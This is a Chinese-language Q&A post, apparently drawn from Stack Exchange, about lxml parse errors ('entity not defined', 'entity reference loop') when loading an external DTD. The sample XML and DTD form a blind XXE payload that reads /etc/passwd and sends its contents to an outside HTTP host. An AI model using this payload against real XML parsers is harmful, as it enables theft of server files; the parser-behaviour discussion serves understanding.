LXML解析含外部DTD的XML文件时遇实体及循环引用错误
XML实体解析问题分析
XML文件内容
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "test.dtd" [ <!ELEMENT data ANY> ]> <data>&send;</data>
DTD文件内容
<!ENTITY % passwd SYSTEM "../../../../etc/passwd"> <!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://192.168.64.5:4000/?%passwd;'>"> %wrapper;
初始解析尝试
使用默认解析逻辑,代码如下:
import lxml.etree as etree tree = etree.parse('blind.xml') print(etree.tostring(tree))
执行后报错:
lxml.etree.XMLSyntaxError: Entity 'send' not defined, line 5, column 13
原因很直接:lxml默认不会加载外部DTD文件,XML里引用的&send;实体未被定义,因此报错。
添加load_dtd=True后的尝试
修改代码启用外部DTD加载:
import lxml.etree as etree parser = etree.XMLParser(load_dtd=True) tree = etree.parse('blind.xml', parser) print(etree.tostring(tree))
执行后触发循环引用报错:
lxml.etree.XMLSyntaxError: Detected an entity reference loop, line 2, column 80
问题原因详解
load_dtd=True的处理逻辑:
开启该参数后,lxml会加载外部DTD,但并非以纯外部DTD的方式处理,而是将外部DTD内容合并到XML的内部DTD子集中,以“伪内部”状态解析。- 参数实体嵌套的限制:
XML规范对内部DTD子集的参数实体处理有严格限制——内部子集不允许参数实体在声明中进行间接递归/嵌套引用。你的DTD里,%wrapper;展开后包含对%passwd;的引用,在lxml的“伪内部”模式下,解析器会误判这是循环引用:展开%wrapper;需要解析%passwd;,而%passwd;的生效又依赖%wrapper;的展开,最终触发循环检测报错。 - 外部DTD与内部子集的差异:
这种间接嵌套的参数实体定义在纯外部DTD规则下是合法的,但lxml的load_dtd=True机制将外部DTD合并到内部子集处理,导致原本合法的定义触发了内部子集的限制。
内容的提问来源于stack exchange,提问作者rdre8
相关产品推荐
相关产品推荐

